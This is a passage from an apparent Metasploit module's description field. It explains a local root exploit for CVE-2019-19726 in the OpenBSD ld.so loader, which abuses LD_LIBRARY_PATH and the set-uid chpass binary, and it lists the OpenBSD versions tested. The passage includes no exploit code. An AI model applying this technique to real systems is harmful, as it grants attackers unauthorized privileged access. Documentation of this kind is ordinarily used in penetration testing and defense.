      'Description'    => %q{
        This module exploits a vulnerability in the OpenBSD `ld.so`
        dynamic loader (CVE-2019-19726).

        The `_dl_getenv()` function fails to reset the `LD_LIBRARY_PATH`
        environment variable when set with approximately `ARG_MAX` colons.

        This can be abused to load `libutil.so` from an untrusted path,
        using `LD_LIBRARY_PATH` in combination with the `chpass` set-uid
        executable, resulting in privileged code execution.

        This module has been tested successfully on:

        OpenBSD 6.1 (amd64); and
        OpenBSD 6.6 (amd64)
